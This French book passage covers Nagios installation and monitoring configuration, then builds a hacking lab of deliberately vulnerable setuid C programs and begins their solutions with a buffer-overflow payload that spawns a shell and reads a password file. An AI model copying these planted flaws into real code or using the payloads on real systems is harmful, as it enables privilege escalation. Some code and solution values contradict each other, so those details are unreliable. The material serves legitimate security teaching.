fasm#aptitude install libperl-dev libgd2-xpm-dev libltdl3-dev

linux-headers-ùname -r`

Pour finir avec les librairies, installons-en une spécifique pour Nagios 3. Nous l’installons ici

à part mais nous aurions pu, bien entendu, l’installer en même temps que les autres librairies.

fasm#aptitude install libglib2.0-dev

Nous arrivons enfin à la partie propre de Nagios, le téléchargement et l’installation du paquet

nagios.

La commande wget va nous permettre de télecharger le paquet voulu sur le site SourceForge.

Nous pourrons choisir le dernier paquet en date.

Ce dernier est un fichier compressé en tar.gz, l’étape suivante sera donc de décompresser ce

fichier (tar -xzf : pour plus d’information sur cette commande, nous pourrons aller voir le man

sur notre machine Linux).

Une fois ce fichier décompressé, nous pourrons, grâce à la commande ls, visualiser les

fichiers de Nagios. Nous trouverons un fichier README qui explique comment installer le

paquet.

C’est à partir des informations de ce fichier README que nous exécuterons les commandes

suivantes :

fasm#wget http://prdownloads.sourceforge.net/sourceforge/nagios/

nagios-3.3.1.tar.gz

fasm#tar -xzf nagios-3.3.1.tar.gz

fasm#cd nagios

fasm#./configure --prefix=/usr/local/nagios --with-nagios-

user=nagios --with-nagios-group=nagios --with-command-user=nagios

--with-command-group=nagcmd --enable-event-broker --enable-

nanosleep --enable-embedded-perl -with-perlcache

fasm#make all

fasm#make install

fasm#make install-init

fasm#make install-commandmode

fasm#make install-config

fasm#make install-webconf

C’est une installation assez classique avec dans un premier temps le ./configure qui va

permettre de vérifier notre configuration. Les options données ci-dessus sont aussi extraites de

la documentation Nagios.

Nous pouvons ensuite effectuer les différentes make nécessaires à cette installation.

http://www.nagios.org/

Nous allons passer à la création du fichier d’utilisateur :

htpasswd -c /usr/local/nagios/etc/htpasswd.users nagiosadmin

chown nagios:nagcmd /usr/local/nagios/etc/htpasswd.users

Nagios utilise Apache que nous avons vu dans une section précédente. Nous ajouterons donc

l’utilisateur apache au groupe nagcmd pour pouvoir exécuter les commandes externes de

Nagios depuis l’interface (ex : nagcmd:x:9001:www-data).

adduser www-data nagcmd

/etc/init.d/apache2 restart

Si nous souhaitons que Nagios démarre à chaque redémarrage de la machine, nous devons

l’indiquer à la machine grâce à la commande update-rc.

chmod +x /etc/init.d/nagios

update-rc.d nagios defaults

Nous pouvons maintenant démarrer Nagios.

/etc/init.d/nagios start

La dernière étape va consister à installer les plug-ins manquants :

fasm#apt-get install libgnutls-dev libmysqlclient15-dev libssl-dev

libsnmp-perl libkrb5-dev libldap2-dev libsnmp-dev libnet-snmp-perl

gawk libwrap0-dev libmcrypt-dev fping snmp gettext smbclient

dnsutils

fasm#wget

http://prdownloads.sourceforge.net/sourceforge/nagiosplug/nagios-

plugins-1.4.15.tar.gz

fasm#tar -xzf nagios-plugins-1.4.15.tar.gz

fasm#cd nagios-plugins-1.4.15/

fasm#./configure --with-nagios-user=nagios --with-nagios-

group=nagios --enable-libtap --enable-extra-opts -enable-perl-

modules

fasm#make

fasm#make install

De la même manière que précédemment, nous allons d’abord aller rechercher le paquet des

plug-ins Nagios sur le site de SourceForge et lancer notre ./configure puis le make et le make

install.

b. Configuration

Nous allons copier ceci dans le fichier httpd.conf. Ces fichiers sont repris de la documentation

officielle de Nagios sur le site http://www.nagios.org/ :

http://www.nagios.org/

ScriptAlias /nagios/cgi-bin /usr/local/nagios/sbin

<Directory "/usr/local/nagios/sbin">

Options ExecCGI

AllowOverride None

Order allow,deny

Allow from all

AuthName "Nagios Access"

AuthType Basic

AuthUserFile /usr/local/nagios/etc/htpasswd.users

Require valid-user

</Directory>

Alias /nagios /usr/local/nagios/share

<Directory "/usr/local/nagios/share">

Options None

AllowOverride None

Order allow,deny

Allow from all


AuthType Basic

AuthUserFile /usr/local/nagios/etc/htpasswd.users

Require valid-user

</Directory>

Un fichier htacces va nous être nécessaire afin de pouvoir sécuriser par la demande d’un login

et d’un mot de passe l’accès à Nagios :

htpasswd -c /usr/local/nagios/etc/htpasswd.users adminnagios

Nous devons ajouter un utilisateur, nous mettrons bien entendu à la place de <username> le

nom de l’utilisateur souhaité :

htpasswd /usr/local/nagios/etc/htpasswd.users <username>

Comme nous venons de modifier les fichiers de configuration, nous allons devoir relancer les

services Apache et Nagios.

fasm#invoke-rc.d apache2 reload

fasm#service httpd restart

fasm#invoke-rc.d nagios reload

fasm#service nagios restart

Notre configuration manuelle est terminée : nous pouvons dès à présent utiliser Nagios. Il

existe bien sûr un moyen plus simple d’installation de Nagios, si notre système le permet : les

dépôts.

2. Nagios avec les dépôts

Si notre machine est une Debian ou une Ubuntu, la commande aptitude ou apt-get nous

simplifiera grandement les choses. Pour les autres distributions, nous devrons nous référer à la

documentation pour l’installation de nouveaux paquets.

fasm#aptitude install nagios3

Dans ce cas de figure, le paquet Nagios fait un lien symbolique de

/etc/apache2/conf.d/nagios.conf vers /etc/nagios3/apache.conf.

La configuration d’Apache devra ensuite être rechargée (reload) à l’aide de la commande

suivante :

sudo /etc/init.d/apache2 reload

Comme pour l’installation manuelle, la première chose à faire est d’ajouter des utilisateurs qui

pourront se connecter à l’interface web de Nagios. Les droits d’accès de l’interface web se

gèrent avec htpasswd qui est un utilitaire fourni avec le serveur Apache.

a. Configuration d’Apache

Nous pouvons vérifier, ou ajouter le cas échéant, dans le fichier /etc/nagios3/apache2.conf les

lignes suivantes :

ScriptAlias /cgibin/nagios3 /usr/lib/cgibin/nagios3

ScriptAlias /nagios3/cgibin /usr/lib/cgibin/nagios3

<DirectoryMatch (/usr/share/nagios3/htdocs|/usr/lib/cgibin/nagios3)>

Options FollowSymLinks

DirectoryIndex index.html

AllowOverride AuthConfig

Order Allow,Deny

Allow From All


AuthType Basic

AuthUserFile /etc/nagios3/htpasswd.users

require validuser

</DirectoryMatch>

La configuration suivante, comme pour l’installation manuelle, est tirée de la documentation

officielle de Nagios.

L’ajout des utilisateurs se fait de la même manière.

fasm#htpasswd -c /etc/nagios3/htpasswd.users nagiosadmin

Nous pouvons maintenant lancer notre navigateur web favori et tester le fonctionnement de

Nagios. L’URL à saisir est la suivante :

http://localhost/nagios3

Puis log : nagiosadmin

Puis mdp : demander lors de l’installation

b. Configurer Nagios pour le réseau LAN

La configuration par défaut se trouve dans le fichier /etc/nagios3/conf.d/generic-

host_nagios.cfg.

Elle définit les paramètres par défaut d’un host, paramètres utilisés au moment du démarrage

et redémarrage de Nagios :

# Generic host definition template - This is NOT a real host, just

a template!

define host{

name generic-host ; The

name of this host template

notifications_enabled 1 ; Host

notifications are enabled

event_handler_enabled 1 ; Host

event handler is enabled

flap_detection_enabled 1 ; Flap

detection is enabled

failure_prediction_enabled 1 ; Failure

prediction is enabled

process_perf_data 1 ; Process

performance data

retain_status_information 1 ; Retain

status information across program restarts

retain_nonstatus_information 1 ; Retain

non-status information across program restarts

check_command check-host-alive

max_check_attempts 10

notification_interval 0

notification_period 24x7

notification_options d,u,r

contact_groups admins

register

}

Si nous ne configurons que ces fichiers, le check-host-alive (la vérification que les hosts,

c’est-à-dire les clients, sont en marche) ne fonctionne pas ; il nous faudra aussi au moins un

service (service.cfg) configuré par machine. Ce service utilisant le protocole ICMP et plus

particulièrement le Ping, il est donc nécessaire de vérifier que le service Ping est défini pour

chaque client.

Dans la partie par défaut de ce fichier generic-hosts_nagios2.cfg, les notifications sont

activées au démarrage.

Nous allons devoir créer un fichier par machine puis nous ajouterons la passerelle (gateway)

pour définir les différentes machines virtuelles correspondant à l’architecture que nous avons

créée précédemment (vm_ftp, vm_web, vm_vpn...) (à adapter).

Nous devrons donc :

Créer le fichier /etc/nagios3/conf.d/host-gateway_nagios2.cfg et y placer les lignes

suivantes :

# a host definition for the gateway of the default route

define host {

host_name gateway

alias Default Gateway

address xxx.xxx.xxx.xxx

use generic-host

}

Ajouter le service de vérification par Ping, dans

/etc/nagios3/conf.d/services_nagios2.cfg :

define service {

hostgroup_name ping-servers

service_description PING

check_command check_ping!100.0,20%!500.0,60%

use generic-service


}

Nous pouvons activer le service test Ping pour l’hôte gateway ; dans le fichier

/etc/nagios3/conf.d/hostgroups_nagios2.cfg :

define hostgroup {

hostgroup_name ping-servers

alias Pingable servers

members gateway

}

La configuration étant enregistrée, nous pouvons la tester.

Vérifions les fichiers de configuration :

nagios3 -v /etc/nagios3/nagios.cfg

Rechargeons les fichiers de configuration Nagios :

/etc/init.d/nagios3 reload

ou

service nagios3 reload

Nous pouvons maintenant retourner à l’interface web et vérifier que le système détecte bien

notre configuration. Un temps d’attente est nécessaire ; nous devons dans certains cas attendre

plusieurs minutes mais nous n’hésiterons pas à recharger régulièrement la page pour effectuer

cette vérification.

Ajoutons maintenant, toujours dans le fichier précédent, un groupe pour les routeurs :

# La liste de nos routeurs

define hostgroup {

hostgroup_name router-servers

alias Router Servers

members gateway

}

Si nous souhaitons changer l’image (icon) de cette passerelle dans le « Status Map » de

l’interface web de Nagios3, nous devons éditer le fichier

/etc/nagios3/conf.d/extinfo_nagios2.cfg et ajouter les lignes suivantes :

define hostextinfo{

hostgroup_name router-servers

notes Router servers

#/usr/share/nagios/htdocs/images/logos/base/xxxxxxxx.png

icon_image base/xxxxxxxx.png

icon_image_alt Router

vrml_image xxxxxxxx.png

statusmap_image base/xxxxxxxx40.png

}

Si nous souhaitons ajouter un routeur switch1, nous devons :

Créer le fichier /etc/nagios3/conf.d/host-lynek_nagios2.cfg et y placer les lignes

suivantes :

define host{

use generic-host ; quel patron?

host_name switch1 ;nom du switch

alias Switch


}

Nous pouvons ajouter une station ’station1’ ou tout autre nom de type Debian connecté à

switch1. Nous devrons alors :

Créer le fichier /etc/nagios3/conf.d/host-station1_nagios2.cfg et y placer les lignes

suivantes :

define host{

use generic-host ;quel patron

host_name station1 ;nom de la machine

alias Debian station


parents switch1

}

Activons le service test ping pour cette machine (vu précédemment).

Activons le service test http pour cette machine si elle est serveur HTTP.

Créons un groupe pour les stations Debian dans le fichier

/etc/nagios3/conf.d/hostgroups_nagios2.cfg.

## liste de nos VM debian

define hostgroup {

hostgroup_name VM_Debian

alias VM Debian

members station1

}

Si nous souhaitons créer de nouvelles icônes pour d’autres machines (Debian, Windows XP,

Vista), il faut :

Vérifier que les paquetages libgd-tools et netpbm sont installés.

Exécuter le script shell genicons.sh suivant sur une image Gif n’excédant pas 60

pixels.

#!/bin/bash

path="/usr/bin"

echo "Usage : $0 img1_sans_extension [img2 ...]"

for arg

do

if [ -f "$arg" ]; then

echo converting $arg

arg="$(echo $arg | sed ’s/\.gif$//’)"

$path/giftopnm $arg.gif > $arg.pnm

$path/pnmtopng -transparent rgb:ff/ff/ff $arg.pnm >

$arg.png

$path/pnmtojpeg -quality=100 -optimize -smooth=0

$arg.pnm > $arg.jpg

$path/pngtogd2 $arg.png $arg.gd2 0 1

fi

done

rm -f *.pnm

On obtient ainsi 4 fichiers à copier dans le répertoire

/usr/share/nagios/htdocs/images/logos/base.

Sélectionnons son image (icon) dans le Status Map de l’interface web de Nagios dans le

fichier /etc/nagios3/conf.d/extinfo_nagios2.cfg et ajoutons les lignes suivantes :

define hostextinfo{

hostgroup_name VM_debian

notes VM debian

# notes_url

http://webserver.localhost.localdomain/hostinfo.pl?host=netware1

#/usr/share/nagios3/htdocs/images/logos/base/.....png

icon_image base/debian.png

icon_image_alt Debian GNU/Linux

vrml_image debian.png

statusmap_image base/debian.gd2

}

Si nous souhaitons ajouter des machines Windows XP, il faut :

Ajouter un groupe xp-servers dans le fichier

/etc/nagios3/conf.d/hostgroups_nagios2.cfg.

Ajouter aussi ce groupe xp-servers dans le fichier

/etc/nagios3/conf.d/extinfo_nagios2.cfg.

Créer les fichiers images pour ce type de station.

Créer le fichier /etc/nagios3/conf.d/host-stationxp1_nagios2.cfg et y placer les lignes

suivantes :

define host{

use generic-host ; quel patron?

host_name stationxp1 ; nom de la machine

alias Windows XP Station


parents xxxxxx

}

Ajouter la station dans le service Ping et le service HTTP si nécessaire...

c. Configurer Nagios pour le réseau WAN

Pour ajouter une passerelle "gatewaykoala" par exemple , nous prendrons bien sûr le nom que

nous voulons, après le bloc gateway que nous avons créé plus haut, il va falloir :

Créer le fichier /etc/nagios3/conf.d/host-gatewaykoala_nagios2.cfg.

Y déclarer un hôte "gatewaykoala" d’adresse "X.X.X.X" en précisant qu’il est placé

après gateway en ajoutant la ligne parents gateway.

Ne pas ajouter ce routeur dans le service Ping (il n’est pas configuré pour répondre).

Nous pouvons ajouter des stations après la passerelle gatewaykoala. Pour cela, il faut :

Créer le fichier /etc/nagios2/conf.d/host-fasm_nagios2.cfg.

Y déclarer un hôte "fasm" d’adresse "XXX.XXX.XXX.XXX" en précisant qu’il est

placé après "gatewaykoala".

Accéder à ce serveur HTTP, en utilisant le port 8000 dont le service Nagios n’existe

pas encore.

Ajouter le service "http:8000" (paragraphe suivant).

Nous pouvons maintenant activer les nouveaux services.

Nous configurerons le monitoring de services ne nécessitant pas d’autres plug-ins que ceux

installés par défaut avec Nagios.

Pour ajouter le service de test "http:8000", nous suivrons cette procédure décrite dans la

documentation :

Tester la commande :

/usr/lib/nagios/plugins/check_http -p 8000 -I XXX.XXX.XXX.XXX

Voir --help pour l’aide en ligne.

Le résultat devrait être : HTTP OK : HTTP/1.1 200 OK - ...

Ajouter les lignes suivantes dans le fichier /etc/nagios2/conf.d/service_nagios2.cfg :

define service {

hostgroup_name http-servers8000

service_description HTTP8000

check_command check_http!-p 8000

use generic-service

notification_interval 0 ; set > 0 if you want to

be renotified

}

Créer un nouveau groupe pour cette station dans le fichier


define hostgroup {

hostgroup_name http-servers8000

alias http8000

members fasm

}

Tester ce nouveau service.

Pour ajouter le service de test "dhcp", connaissant notre serveur DHCP ou après avoir installé

un serveur DHCP sur localhost, nous procéderons comme suit :

Tester la commande :

/usr/lib/nagios/plugins/check_dhcp -s XXXXXXX -i eth0

Le résultat pourrait être : "Erreur: Impossible de connecter le socket à l’interface eth0.

Vérifiez vos droits... " ou "OK: Reçu 1 DHCPOFFER(s), bail maximum = 43200 sec.

Ajouter les lignes suivantes dans le fichier /etc/nagios3/conf.d/service_nagios2.cfg :

define service {

hostgroup_name dhcp-servers

service_description DHCP

check_command check_dhcp

use generic-service

notification_interval 0 ; set > 0 if you want to

be renotified

}

Créer un nouveau groupe pour cette station dans le fichier


define hostgroup {

hostgroup_name dhcp-servers

alias DHCP Servers

members xxxxxxxxx,yyyyyyy

}

Tester ce nouveau service. Il est peut-être nécessaire de donner plus de droits à

Nagios.

Le SNMP (Simple Network Management Protocol) est un protocole qui va permettre aux

administrateurs réseau de diagnostiquer les problèmes réseau et de gérer les équipements

réseau.

Pour tester le plug-in SNMP, nous pouvons effectuer les commandes suivantes :

/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o

1.3.6.1.2.1.1.1.0 ou system.sysDescr.0

/usr/lib/nagios/plugins/check_snmp -H gateway -C public -o

interfaces.ifTable.ifEntry.ifDescr.1 ou 1.3.6.1.2.1.2.2.1.2.1

SNMP OK - loopback | IF-MIB::ifDescr.1=loopback

Compléter les fichiers services.cfg et commands.cfg afin de tester les services

disponibles sur une station Linux, la station Nagios, un routeur ADSL, ainsi que tous

les services Ping.

Dans le fichier commands.cfg, définir les commandes à exécuter pour tester un

service. L’ensemble de ces commandes est présent sous forme d’exécutable dans le

répertoire plugin de Nagios. On peut donc tester en ligne de commande si les

paramètres associés aux commandes fonctionnent. De même, on obtient l’aide relative

à cette commande grâce à l’option :

-h (ex: check_ping -h)

Si par exemple nous souhaitons tester le service avec SNMPGet (SNMPGet étant une

commande du protocole SNMP qui permet de faire une demande à un périphérique), nous

ajouterons dans commands.cfg :

define command{

command_name check_snmp

command_line $USER1$/check_snmp -H $HOSTADDRESS$ -C

$ARG1$ -o $ARG2$

}

Deux solutions s’offrent à nous pour tester le service SNMP avec check_snmp :

Soit nous indiquons « en dur » les paramètres de la fonction check_snmp.

Soit nous indiquons les paramètres à utiliser et ces derniers seront écrits dans le fichier

services.cfg.

Certains sont entrés en dur, comme l’adresse de l’hôte. D’autres seront à entrer en

complément de la commande, comme ARG1 et ARG2, c’est-à-dire deux arguments que nous

indiquerons après la commande, les arguments 1 et 2.

Il nous faut configurer des commandes non définies dans commands.cfg mais présentes dans

le répertoire des plug-ins. Ainsi, on rajoute la définition de check_ssh, check_daytime et

check_swap (voir fichier commands.cfg).

Dans le fichier services.cfg, nous associons aux hôtes déjà définis le service que l’on

souhaite tester ainsi que les arguments nécessaires à son utilisation. Exemple du

SNMPGet d’une station :

define service{

use generic-service ; Name of service

template to use

hostgroup_name gateway

service_description SNMP


check_command check_snmp!public!1.3.6.1.2.1.2.2.1.2.1

}

Nous configurons ici l’hôte sur lequel nous testons le service, les périodes de test et les

périodes de notification de la commande à exécuter avec ses paramètres (ceux non rentrés en

dur).

Les arguments de la commande sont séparés par des "!". Dans le cas du SNMPget, l’argument

1 correspondant à ARG1 dans commands.cfg est ’public’ et l’argument 2 (ARG2) est

’1.3.6.1.2.1.2.2.1.2.1’. Ces paramètres dépendent de la commande exécutée.

Les chiffres ainsi déclarés ’1.3.6.1.2.1.2.2.1.2.1’ sont des OID. Les OID sont des identifiants

universels, représentés sous la forme d’une suite d’entiers. Ils sont organisés sous forme

hiérarchique. Ainsi, seul l’organisme 1.2.3 peut dire quelle est la signification de l’OID

1.2.3.4. Ils ont été définis dans une recommandation de l’International Telecommunication

Union.

Nous pourrons trouver de plus amples informations sur ce site :

http://www.alvestrand.no/objectid/top.html

Ainsi, pour chacune des stations précédemment définies, nous définissons les services à tester.

d. Utilisation de NSClient

NSClient est un exécutable à installer sous Windows qui va permettre de surveiller les

services disponibles sur la machine.

Nous devrons donc :

Utiliser le serveur NSClient à installer sur la machine Windows, ainsi que le plug-in

check_nt, disponible avec NSClient, afin d’interroger le serveur.

Compléter les fichiers services.cfg et checkcommands.cfg en conséquence.

http://www.alvestrand.no/objectid/top.html

Une fois l’archive téléchargée puis décompressée, il nous faut copier les fichiers

pNSClient.exe, pdh.dll, psapi.dll et counters.defs dans le répertoire où nous souhaitons

installer NSClient (par exemple c:\nsclient). Nous devrons ensuite lancer la commande

pNSClient.exe /install dans un prompt MS-DOS, ce qui installe le service NSClient sur la

machine. Nous pourrons alors démarrer le service.

Les commandes et extraits de configurations sont tirés de la documentation officielle de

Nagios.

Du côté de la machine Nagios, il faut utiliser le plug-in check_nt qui est fourni dans le fichier

zip et le copier dans le répertoire des plug-ins de Nagios.

Nous devrons modifier le fichier checkcommands.cfg en y ajoutant les blocs suivants :

Test de la mémoire utilisée :

define command{

command_name check_windows_mem

command_line $USER1$/check_nt -H $HOSTADDRESS$ -v

MEMUSE -w $ARG1$ -c $ARG2$

}

Test de l’espace disque utilisé :

define command{

command_name check_windows_disk

command_line $USER1$/check_nt -H $HOSTADDRESS$ -v

USEDDISKSPACE -l $ARG1$ -w $ARG2$ -c $ARG3$

}

Ajout des blocs suivants dans le fichier services.cfg pour utiliser ces commandes sur la

machine Windows :

Test de la mémoire utilisée :

define service{

use generic-service ; Name of service

template to use

host_name Non_de_la_Station

service_description MEMORY USED

is_volatile 0

check_period 24x7


normal_check_interval 5

retry_check_interval 1

contact_groups Windows



notification_options c,r

check_command check,windows_mem!50%!90%

}

Test de l’espace disque disponible :

define service{

use generic-service ; Name of

service template to use

host_name Non_de_la_Station

service_description DISK

is_volatile 0

check_period 24x7


normal_check_interval 5

retry_check_interval 1

contact_groups Windows



notification_options c,r

check_command check_windows_disk!c!60%!80%

}

Voilà, nous devrions être capables de gérer grâce à Nagios toutes nos machines virtuelles et

plus.

Conclusion

Notre laboratoire de hacking est prêt, nous pouvons dès à présent commencer l’installation de

nos épreuves applicatives, sites web et autres afin de pouvoir tester et apprendre les

techniques de hacking en toute légalité.

Mise en place des épreuves

Introduction

Nous allons présenter dans ce chapitre quelques épreuves afin d’avoir un laboratoire de

hacking minimal et prêt à l’emploi.

Il nous faudra bien sûr ensuite créer nos propres épreuves afin de nous renouveler et de

pouvoir tester de nouvelles failles, nous devrons donc réaliser une veille technologique

constante afin d’identifier les nouveautés et de les recréer dans notre laboratoire.

Les épreuves proposées ici sont des épreuves qui ont été proposées dans différents challenges

que nous avons créés, comme pour le hacknowledge-contest (http://www.hacknowledge-

contest.org), ou dans lesquels nous étions challengers.

Certaines épreuves viennent aussi des TP de la licence professionnelle CDAISI dite « ethical

hacking » de l’université de Valenciennes, en son antenne de Maubeuge, dans laquelle nous

enseignons.

Nous pourrons bien sûr retrouver ces épreuves sur le web ainsi que leur solution puisque

souvent des « write-up », soit les solutions, sont proposées et reprises dans différents sites.

Création de cinq épreuves applicatives

http://www.hacknowledge-contest.org/


1. Configuration de la machine

Une nouvelle machine spécifique pour cette série d’épreuves de type wargame est créée sous

Debian.

Mais qu’est-ce qu’une épreuve de type wargame ?

Ce sont par exemple cinq épreuves qui se suivent et qui sont organisées de telle sorte que la

résolution de la première épreuve permet l’accès à la deuxième et ainsi de suite.

Mais pour réaliser cela, nous avons un premier travail de configuration.

Nous allons commencer par créer un répertoire /wargame :

fasm# mkdir /wargame

Nous y placerons nos épreuves, donc pour ce cas, cinq fichiers binaires et cinq fichiers source.

Nous voulons un résultat semblable à ceci :

challenge1:/home# ls -l /wargame/

total 96

-r-Sr-x--- 1 level2 level1 6970 Jun 29 2010 level1

-r--r----- 1 root level1 530 Jun 29 2010 level1.c



-r-sr-x--- 1 level4 level3 6726 Jun 29 2010 level3




-r-sr-x--- 1 level6 level5 6888 Jun 29 2010 level5


Nous déposerons donc dans ce répertoire ces fichiers que nous verrons plus en détail dans les

sections suivantes.

Nous devons d’abord créer 6 utilisateurs que nous appellerons level1 à level6.

Le mot de passe de level1 sera level1 et les mots de passe des autres devront être plus

compliqués car ce sont ces mots de passe qui devront être découverts au fur et à mesure.

Par exemple, on se connecte sous l’identité de level1, nous allons dans /wargame découvrir le

binaire correspondant qui s’appelle lui aussi level1.

Si nous résolvons l’épreuve, nous devenons level2 et avons donc accès au répertoire de

level2. Dans ce répertoire se trouvera un fichier nommé .passwd qui contient le mot de passe

de level2. Nous pourrons ainsi nous connecter en SSH en tant que level2 avec le mot de passe

trouvé précédemment pour accéder à l’épreuve 2.

Nous pouvons donc nous déconnecter et nous reconnecter en level2 et ainsi de suite.

Nous commençons par créer les utilisateurs :

fasm#adduser level1

fasm#adduser level2

fasm#adduser level3

fasm#adduser level4

fasm#adduser level4

fasm#adduser level5

fasm#adduser level6

Les répertoires correspondant aux différents utilisateurs sont créés en même temps.

Nous placerons à partir de level2, dans le répertoire correspondant, soit /home/level2, un

fichier caché appelé .passwd dans lequel nous écrirons le mot de passe du level2.

fasm#nano /home/level2/.passwd

Nous y écrivons le mot de passe de level2.

Nous donnons ensuite les droits sur ce fichier .passwd :

fasm#chown level2:level2 .passwd

fasm#chmod 400 .passwd

Nous allons nous occuper de voir comment configurer les fichiers que nous placerons par la

suite dans /wargame.

Supposons que nous ayons en notre possession le fichier level1.c et le binaire level1.

fasm#cd /wargame

fasm#chown root:level1 level1.c

fasm#chmod 440 level1.c

fasm#chown level2:level1 level1

fasm#chmod 550 level1

fasm#chmod u+s level1

Le fichier level1.c appartient maintenant au groupe level1 qui a les droits en lecture sur ce

fichier. L’utilisateur qui se connectera en level1 pourra donc lire le contenu du fichier mais

n’aura pas le droit en écriture pour le changer.

Le binaire level1 appartient au level2 et au groupe level1. Le groupe a les droits en lecture et

exécution. L’utilisateur level2 a les droits de lecture et d’exécution mais en plus le bit s est

mis, c’est-à-dire que si l’utilisateur level1 réussit à exploiter le binaire, il pourra sous certaines

conditions devenir level2 et donc lire le mot de passe de level2 dans /home.level2/.passwd.

Il nous faudra donc faire cette suite de commandes pour chaque fichier en adaptant bien sûr à

chaque fois suivant le niveau.

Voilà, nous avons terminé la configuration.

Nous allons maintenant installer le logiciel SSH pour la connexion à distance.

fasm#aptitude install openssh-server

Nous devons maintenant créer nos différentes épreuves et ensuite les déposer dans /wargame

avant de leur donner les droits et appartenances décrits ci-dessus.

2. Les épreuves

Les épreuves suivantes ont été proposées dans le premier hacknowledge-contest en 2008 et

sont inspirées de différents challenges tels que l’insomni’hack, à Genève et des challenges en

ligne.

a. Épreuve level1

Le fichier level1.c est le suivant :

#include <stdio.h>

#include <stdlib.h>

int main(){

long val=0x41414141;

char buf[20];

printf("========= ENI Challenge Securite ==============\n\n");

printf("La valeur correcte pour 0x41414141 est 0xcafedeca!\n");

printf("C’est bon pour la sante, le cafe deca !\n\n");

printf("Vous trouverez votre bonheur ici: ");

scanf("%24s",&buf);

printf("buf: %s\n",buf);

printf("val: 0x%08x\n",val);

printf("\n\n");


if(val==0xcafedeca){

seteuid(1001);

system("/bin/sh");

} else {

printf("Sortez!!!!\n");

exit(1);

}

return 0;

}

Nous compilerons le fichier level1.c grâce à gcc.

fasm#gcc -z stackexec -fno-stack-protector -o level1 level1.c

Nous compilerons les autres fichiers de la même manière.

b. Épreuve level2


#include <stdio.h>

#include <stdlib.h>

int main(){

int (*ret)();


if((ret=getenv("ACISSI"))==NULL){

printf("Donnez quelque chose a executer a la

variable d’environnement ACISSI\n") ;

exit(1);

}

printf("Essaie d’executer la variable d’environnement

ACISSI!\n");

seteuid(1002);


ret();

return 0;

}

c. Épreuve level3


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int vuln(char *arg)

{

char buffer[128];

strcpy(buffer,arg);

return 1;

}

int main(int argc, char * argv[]){

char buf[128];


if(argc == 1){

printf("Usage: %s argument\n", argv[0]);

exit(1);

}

seteuid(1003);

vuln(argv[1]);

printf("%s", buf);


return 0;

}

d. Épreuve level4


#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <stdlib.h>

#include <string.h>

int main(int argc, char **argv){

int ifd, ofd;

char ofile[16] = "/dev/null";

char ifile[32];

char buf[32];


if(argc != 2){

printf("usage, le fichier %s va essayer d’envoyer

son contenu vers /dev/null\n ",argv[0]);

exit(-1);

}

/* open files */

strcpy(ifile, argv[1]);

if((ofd = open(ofile,O_RDWR)) < 0 ){

printf("erreur d’ouverture %s\n", ofile);

exit(-1);

}

if((ifd = open(ifile, O_RDONLY)) < 0 ){

printf("erreur d’ouverture %s\n", ifile);

exit(-1);

}

e. Épreuve level5


#include <stdio.h>

#include <string.h>

int main(int argc, char **argv){

int i = 10;

char buffer[64];


snprintf(buffer, sizeof buffer, argv[1]);

buffer[sizeof (buffer) - 1] = 0;

printf("Changez la valeur de i : 10 -> 400. ");

if(i==500){

printf("YEAH reussi!!\n");

seteuid(1005);

system("/bin/sh");

}

printf("Pas BON!! .... essayez encore\n");

printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));

printf ("i = %d (%p)\n", i, &i);


return 0;

}

3. Solutions

Notre premier challenge est prêt à être utilisé.

Pour l’apprentissage, il est bien sûr préférable d’essayer par soi-même quelques heures sans

aller voir la solution.

Nous nous connectons donc sur la première épreuve :

fasm$ssh level1@adresse_ip_machine

level1

Avant d’exploiter ce programme, il faut comprendre le lien entre le code source, le code

compilé et la mémoire.

Ce code est compilé, puis exécuté.

La compilation du code est effectuée grâce aux commandes gcc vues précédemment.

L’exécution d’un programme, c’est la copie du code compilé en mémoire, puis son exécution.

Les variables initialisées, non initialisées, les allocations mémoire (malloc(), realloc()…) sont

elles aussi copiées en mémoire.

L’exécution, c’est le parcours régulier de la mémoire, vu comme un fil directeur qui indique

quoi faire (lire une variable, écrire une variable, aller ailleurs sur le fil d’exécution, etc.).

Le fil d’exécution est, pour simplifier, l’endroit où doit se rendre le processeur en mémoire

pour exécuter l’instruction suivante.

Dans la mémoire, nous retrouvons plusieurs données, à commencer par le nom du programme

(le fameux argv[0]), et les emplacements des variables, qui sont côte à côte.

Pour avoir plus de détails sur le contenu mémoire, l’exécution ou le langage assembleur, nous

nous reporterons au livre « Sécurité informatique - Ethical Hacking » aux Éditions ENI.

Nous allons reprendre notre première épreuve.

Dans la mémoire, nous avons donc deux variables contiguës, val et buf.

En effet, val et buf sont déclarées l’une en dessous de l’autre dans le programme.

long val=0x41414141;

char buf[20];

buf a 20 octets réservés. Si buf fait plus de 20 octets alors il déborde sur val. Nous n’avons en

effet ici aucun test pour définir si ce que nous allons mettre dans buf est bien inférieur en

longueur à 20 octets. Nous pouvons nous rendre compte facilement de ce comportement en

donnant 22 fois la lettre « a » minuscule lors du lancement de ce programme (a vaut 0x61 en

notation hexadécimale).

Nous constatons que la variable val contient deux 41 et deux 61 prouvant bien qu’il est

possible de modifier une variable sans la manipuler directement. Une variable déborde sur

une autre, c’est donc un « buffer overflow ».

Le but ici pour valider l’épreuve est donc d’arriver à écrire l’adresse 0xdeadbeef en place de

0x41414141. Nous devons effectuer un buffer overflow qui écrasera val.

Les valeurs 0xdeadbeef ne correspondent à aucun caractère imprimable. Nous pouvons

toutefois les envoyer via un « pipe » au programme à l’aide du programme printf (le

programme shell, pas la fonction C) :

Si nous écrivons simplement printf ’AAAAAAAAAAAAAAAAAAAA\xef\ xbe\xad\xde’ |

./level1, nous arrivons en théorie à écraser val avec la valeur voulue mais rien ne se passe, le

shell se termine. Nous devons donc empêcher que le shell ne se ferme et cela est possible

grâce à la commande cat.

level1@vm_bof:/wargame$ (printf

’AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde’; cat) | ./level1

Correct val’s value from 0x41414141 -> 0xdeadbeef!

Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAïŸÞ

val: 0xdeadbeef

cat /home/level2/.passwd

HP9u76th

ˆD

level1@vm_bof:/wargame$ su - level2

Nous voyons ici le mot de passe pour passer au level suivant (c’est le mot de passe que nous

aurons écrit dans le fichier .passwd de l’utilisateur level2.

level2

Nous avons donc un programme qui va exécuter simplement ce qui est situé dans une variable

d’environnement. Nous allons donc devoir mettre dans une variable d’environnement appelée

ici EGG un « shellcode » que nous pouvons trouver sur le web qui lance un /bin/sh. Cela n’a

